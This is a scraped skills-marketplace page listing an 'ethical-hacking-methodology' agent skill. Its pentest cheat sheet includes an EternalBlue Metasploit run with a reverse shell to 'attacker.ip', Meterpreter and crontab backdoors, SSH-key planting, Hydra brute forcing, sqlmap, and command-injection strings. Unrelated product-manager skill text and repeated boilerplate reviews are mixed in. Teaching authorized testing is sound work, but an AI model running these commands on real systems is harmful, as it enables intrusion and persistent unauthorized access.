Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionethical-hacking-methodologyExecute the skills CLI command in your project's root directory to begin installation:
Fetches ethical-hacking-methodology from davila7/claude-code-templates and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate ethical-hacking-methodology. Access via /ethical-hacking-methodology in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Create detailed user stories, acceptance criteria, and feature specs
Example
Generate user stories for 'password reset feature' with acceptance criteria, edge cases, and test scenarios
Reduce spec writing time by 50%, ensure comprehensive coverage
Research competitors, compare features, identify gaps
Example
Analyze 5 competitor products, create feature comparison matrix, suggest differentiation opportunities
Complete competitive research in 2 hours instead of 2 days
Evaluate features using frameworks (RICE, ICE, Kano) and create prioritized backlogs
Example
Score 20 feature ideas using RICE framework, generate prioritized roadmap with rationale
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Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
Black Hat Hackers (Malicious)
Grey Hat Hackers (Hybrid)
Other Classifications
Gather information without direct system interaction:
Passive Reconnaissance
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
Google Hacking (OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google Hacking Database Categories:
Social Media Reconnaissance
Active enumeration of target systems:
Host Discovery
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
Port Scanning
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
Service Enumeration
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
Common Port Reference
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Identify exploitable weaknesses:
Automated Scanning
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.com
Web Application Testing (OWASP)
Manual Techniques
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
Actively exploit discovered vulnerabilities:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
Password Attacks
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web Exploitation
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
Establish persistent access:
Backdoors
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
Privilege Escalation
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
Covering Tracks (Ethical Context)
Document findings professionally:
Report Structure
Executive Summary
Technical Findings
Risk Ratings
Remediation Recommendations
Appendices
Phishing
Malware Types
Network Attacks
Install penetration testing platform:
Hard Disk Installation
Live USB (Persistent)
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
Legal Requirements
Professional Conduct
| Stage | Purpose | Key Tools |
|---|---|---|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |
| Command | Purpose |
|---|---|
nmap -sV target |
Port and service scan |
nikto -h target |
Web vulnerability scan |
msfconsole |
Start Metasploit |
hydra -l user -P list ssh://target |
SSH brute force |
sqlmap -u "url?id=1" --dbs |
SQL injection |
Solutions:
Make data-driven prioritization decisions faster
Draft PRDs, status updates, and stakeholder presentations
Example
Create executive summary of Q3 roadmap, monthly progress report, feature launch announcement
Save 3-5 hours/week on communication overhead
Prerequisites
Time Estimate
30-60 minutes to see productivity improvements
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use for user story writing, competitive research, roadmap prioritization, stakeholder communication, and PRD drafting. Best for reducing repetitive documentation and research work.
✗ Avoid when
Avoid for strategic product vision (requires deep customer empathy), pricing decisions (needs market and financial expertise), or when face-to-face customer discovery is more valuable than speed.
davila7/claude-code-templates
mattpocock/skills
parcadei/continuous-claude-v3
cursor/plugins
ailabs-393/ai-labs-claude-skills
pproenca/dot-skills
ethical-hacking-methodology is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
I recommend ethical-hacking-methodology for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Registry listing for ethical-hacking-methodology matched our evaluation — installs cleanly and behaves as described in the markdown.
ethical-hacking-methodology fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Keeps context tight: ethical-hacking-methodology is the kind of skill you can hand to a new teammate without a long onboarding doc.
I recommend ethical-hacking-methodology for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Useful defaults in ethical-hacking-methodology — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
ethical-hacking-methodology has been reliable in day-to-day use. Documentation quality is above average for community skills.
ethical-hacking-methodology fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
ethical-hacking-methodology reduced setup friction for our internal harness; good balance of opinion and flexibility.
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